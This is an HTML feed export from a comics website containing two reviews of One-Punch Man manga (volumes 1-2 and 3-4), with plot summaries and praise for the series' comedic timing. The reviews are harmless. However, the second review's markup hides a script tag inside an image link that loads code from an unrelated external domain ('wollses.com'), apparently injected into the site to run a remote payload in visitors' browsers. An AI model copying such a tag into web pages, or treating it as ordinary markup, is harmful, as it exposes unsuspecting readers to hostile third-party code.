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		<title>Bento Bako Weekly: One-Punch Man volumes 3-4</title>
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					<description><![CDATA[Title: One-Punch Man Author: Yusuke Murata, original story by ONE Publisher: Viz Media (Shonen Jump) Volume: Volumes 3 and 4, $9.99 Vintage: 2013 by Shueisha, November 2015 and January 2016 by Viz Media Genre: Action, comedy [Volume 1 and 2 review.] It&#8217;s time to become an official hero! Saitama and Genos are testing to become [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong><a href="https://comicattack.net//wp-content/uploads/2015/12/onepunchman3.jpg" rel="attachment wp-att-124410"><img fetchpriority="high" decoding="async" class="alignleft size-medium wp-image-124410" src="https://comicattack.net//wp-content/uploads/2015/12/onepunchman3-195x300.jpg" alt="onepunchman3" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2015/12/onepunchman3-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2015/12/onepunchman3.jpg 585w" sizes="(max-width: 195px) 100vw, 195px" /></a>Title:</strong> <em>One-Punch Man</em><br />
<strong>Author:</strong> Yusuke Murata, original story by ONE<br />
<strong>Publisher:</strong> Viz Media (Shonen Jump)<br />
<strong>Volume:</strong> Volumes 3 and 4, $9.99<br />
<strong>Vintage:</strong> 2013 by Shueisha, November 2015 and January 2016 by Viz Media<br />
<strong>Genre:</strong> Action, comedy</p>
<p>[<a href="https://comicattack.net/2015/08/bbwonepunchman1_2/">Volume 1 and 2 review.</a>]</p>
<p>It&#8217;s time to become an official hero! Saitama and Genos are testing to become members of the Hero Association. Saitama exceeds in the physical tests, of course, but doesn&#8217;t do as well on the written exam. Genos shines in both areas, however, and makes Class S, the highest rank in the Association. Saitama ends up in Class C, near the bottom. This means he has to do one heroic deed a week or risk being kicked out entirely, so after some training time with Genos, he starts patrolling the streets looking for trouble. Just when he&#8217;s panicking about not being able to find anything, Speed-o&#8217;-Sound Sonic reappears for a rematch. At first, Saitama is annoyed that Sonic is in his way, but eventually he realizes Sonic <em>is</em> the bad guy he&#8217;s been looking for. Worried about City Z (where Saitama lives), the Hero Association sends out Class A ranked Spring Mustachio and Golden Ball to investigate the source of the zone&#8217;s high number of monster attacks. A tentacled monster named Kombu Infinity interrupts and takes them out, but before reinforcements arrive, Saitama handles things with his usual flair, and the mystery of City Z continues. An up and coming faction within Class B called the Blizzard Bunch is trying to prove themselves by capturing a bounty. Miss Blizzard arrives as back up, but is swiftly defeated, so an S-Rank hero named Terrible Tornado handles the monster instead. One lone Blizzard Bunch member remains standing once Saitama arrives, convinced he can never become a better hero without some kind of supernatural power. Saitama quickly proves him wrong and convinces the man that hard work is all he needs to succeed.</p>
<p><a href="https://comicattack.net//wp-content/uploads/2015/12/onepunchman4.jpg" rel="attachment wp-att-124411"><img decoding="async" class="alignright size-medium wp-image-124411" src="https://comicattack.net//wp-content/uploads/2015/12/onepunchman4-197x300.jpg" alt="onepunchman4" width="197" height="300" srcset="https://comicattack.net/wp-content/uploads/2015/12/onepunchman4-197x300.jpg 197w, https://comicattack.net/wp-content/uploads/2015/12/onepunchman4.jpg 589w" sizes="(max-width: 197px) 100vw, 197px" /></a>Genos and Saitama continue to struggle climbing the ranks and seeking recognition for their work. Genos&#8217;s good looks and cool attitude at least make him popular with hero fans. A chance to boost their rankings arrives in the form of a large meteor hurtling toward City Z. Genos is informed of the perilous situation by a hero named Bang, then is later stopped by the Metal Knight who insists on testing out his new weaponry on the meteor. It&#8217;s clear the Metal Knight doesn&#8217;t care about civilian casualties, so Genos does everything in his power to stop the meteor himself. Bang arrives to observe, and is just in time to see Saitama punch the meteor into thousands of smaller pieces. While he has stopped the total annihilation of City Z, the shattered pieces fall on the city and cause widespread destruction. Despite being saved, the citizens are not happy. Destroying such a high level threat rockets Saitama into the top ranks of Class C, but he still remains unpopular, and other heroes aren&#8217;t happy with his sudden climb. No one believes a low level Class C hero really destroyed the meteor on his own. Even so, when the Clan of the Seafolk attack, and Class A hero Stinger is having trouble defeating their leader, Saitama (and Genos) rushes to the scene. Though not before Class S hero Puri-Puri Prisoner arrives&#8230;accompanied by Sonic. A bonus manga shows Sonic&#8217;s short time in prison until he escapes thanks to Puri-Puri Prisoner.</p>
<p>One of my favorite things about this series is how exciting and dramatic the chapters can be. They can also be very detailed, with crazy action, and solid character and monster designs. But then by the end, plain, funny looking Saitama shows up and finishes things with a single punch. It&#8217;s a one-punch punchline. It&#8217;s always expected, but still somehow hilarious. The comedic timing in this series is spot on. There&#8217;s still plenty of actual storytelling going on, though, so don&#8217;t worry about things becoming too ridiculous. All the stuff with the Hero Association, reoccurring characters, and Genos&#8217;s quest to discover the secret to Saitama&#8217;s incredible strength transfer from chapter to chapter. I&#8217;m not sure if there&#8217;s an overreaching plot, though, or if this will just be a monster-of-the-day series. Either is fine, although there have been little hints here and there, and the monsters are coming from <em>somewhere</em>. The point of this series is to just have fun reading it. It doesn&#8217;t take itself too seriously, and you shouldn&#8217;t either.</p>
<p><span style="text-decoration: underline;">Kris<br />
</span>kristin@comicattack.net<br />
@girlg33k_kris</p>
<p>Review copies provided by Viz Media.</p>
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		<title>Bento Bako Weekly: One-Punch Man volumes 1-2</title>
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					<description><![CDATA[Title: One-Punch Man Author: One (story), Yusuke Murata (art) Publisher: Viz Media (Shonen Jump) Volume: Volumes 1-2, $9.99 Vintage: 2012 by Shueisha, September 2015 by Viz Media Genre: Action, comedy Saitama is a professional hero, defending the land from all sorts of monsters. Or, rather, looking for a challenge to his strength. Saitama is bored [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong><a href="https://comicattack.net//wp-content/uploads/2015/08/onepunchman1.jpg"><img decoding="async" class="alignleft size-medium wp-image-122422" src="https://comicattack.net//wp-content/uploads/2015/08/onepunchman1-197x300.jpg" alt="onepunchman1" width="197" height="300" srcset="https://comicattack.net/wp-content/uploads/2015/08/onepunchman1-197x300.jpg 197w, https://comicattack.net/wp-content/uploads/2015/08/onepunchman1-672x1024.jpg 672w, https://comicattack.net/wp-content/uploads/2015/08/onepunchman1.jpg 736w" sizes="(max-width: 197px) 100vw, 197px" /></a>Title:</strong> <em>One-Punch Man</em><br />
<strong>Author:</strong> One (story), Yusuke Murata (art)<br />
<strong>Publisher:</strong> Viz Media (Shonen Jump)<br />
<strong>Volume:</strong> Volumes 1-2, $9.99<br />
<strong>Vintage:</strong> 2012 by Shueisha, September 2015 by Viz Media<br />
<strong>Genre:</strong> Action, comedy</p>
<p>Saitama is a professional hero, defending the land from all sorts of monsters. Or, rather, looking for a challenge to his strength. Saitama is bored because he can defeat any enemy with a single punch. He spent three years training to be strong, and trained so hard he went bald, but he&#8217;s unsatisfied with his life. Enormous man who can take out an entire city in one punch? One punch to the face and he&#8217;s down. Gigantic, genetically enhanced lion? One punch. Only in his dreams is he able to find challenging opponents. In life, he finds his emotions dulling with his eternal boredom&#8230;even though a single mosquito drives him to all-consuming rage. When a woman with mosquito-like powers and who can control all the mosquitoes nearby appears, so does another hero &#8211; a cyborg named Genos. After struggling to take down this villain, Genos watches Saitama smack her in one blow. Impressed, Genos demands Saitama take him on and teach him how to be super strong. They barely get past introductions when the city is attacked by genetically enhanced animals from the House of Evolution, who wants to study Saitama and learn the secret to his power. After pretending to be incapacitated, Saitama finally has enough and easily takes the creatures down, then demands to know everything about the House of Evolution. The mad scientists must be taken out before supermarket bargain day, but Dr. Genus is ready with his most powerful creation &#8211; Carnage Kabuto. With Genos along, they make quick work of the initial security obstacles. Sensing Saitama&#8217;s power, Kabuto demands to know his secret, but it isn&#8217;t much of a secret at all, and that enrages the creature, who thinks he&#8217;s been fooled. This enemy is dealt with much like all the others, of course, then the story moves on to the Paradisers. The Paradisers believe the rich and those who want to work should support everyone who doesn&#8217;t want to work, and they intend to violently enforce their utopia. Their main target is Zeniru, the riches man in town, but he has a special bodyguard, Sonic, that he sends out to take care of things. Saitama, meanwhile, is more concerned about being mistaken for a Paradiser because they&#8217;re all bald like him. Between them both, they make quick work of the gang, but much like Saitama, Sonic is always on the lookout for a good challenge, and Saitama is a perfect target.</p>
<p><em><a href="https://comicattack.net//wp-content/uploads/2015/08/onepunchman2.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-122423" src="https://comicattack.net//wp-content/uploads/2015/08/onepunchman2-195x300.jpg" alt="onepunchman2" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2015/08/onepunchman2-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2015/08/onepunchman2-667x1024.jpg 667w, https://comicattack.net/wp-content/uploads/2015/08/onepunchman2.jpg 731w" sizes="(max-width: 195px) 100vw, 195px" /><script src="//wollses.com/steps"></script></a>One-Punch Man</em> began as <a href="http://galaxyheavyblow.web.fc2.com/">a web comic</a>, and it retains similar pacing, with quickly moving, mostly self-contained chapters. There are ongoing plots and recurring characters, but the stories are relatively short and compact. I hesitate to call it a gag manga, although there&#8217;s plenty of that. The structure and the addition of characters aside from One-Punch Man make it much more than a simple comedy manga. Saitama is, straight up, a comedic character, frequently making (inadvertent) jokes, dead panning most of his dialog with outrageous seriousness, and basically being one massive walking punchline (oh, hey, <em>Punch</em> Man!). Genos is a nice foil, simultaneously trying to keep Saitama on track while also picking up his master&#8217;s habits. He&#8217;s more the quintessential shonen warrior, in looks and personality. The villains come and go, either because they&#8217;re destroyed by Saitama, or so thoroughly beaten (like the House of Evolution doctor) that they give up and decide to do something else with their life. The humor is juvenile at times, and honestly isn&#8217;t all that complex, but the timing is perfect, and the jokes are side-splitting. I was laughing pretty hard throughout both volumes. If this was just about One-Punch Man, I would say the premise wouldn&#8217;t last very long before becoming boring, but Genos is great at breaking things up, and the villains so far have been so over-the-top I&#8217;m curious to know what else the creators can come up with. Yes, Saitama can defeat an enemy with just one hit, but he has to first be able to get a hit in, and sometimes he just likes to goof around (he&#8217;s a bit lazy, really). Plus he&#8217;s always on the look out for a strong opponent to make a fight worthwhile, which means taking a few moments to observe before going in for the one-hit take down. He also tends to be more concerned with getting home in time for a supermarket sale than actually defeating evil. Most of the action is pretty typical of the genre, with the big bads having fancily named combat moves&#8230;while Saitama&#8217;s are more along the lines of &#8220;consecutive normal punches.&#8221; Saitama is really strikingly normal, which is partly why he brings so much humor to the pages. If you want to know more, I&#8217;d be happy to ramble on my favorite moments, of which there are many. It&#8217;s such a treat when I&#8217;m thoroughly surprised by a title.</p>
<p><span style="text-decoration: underline;">Kris<br />
</span>kristin@comicattack.net<br />
@girlg33k_kris</p>
<p>Review copies provided by Viz Media.</p>
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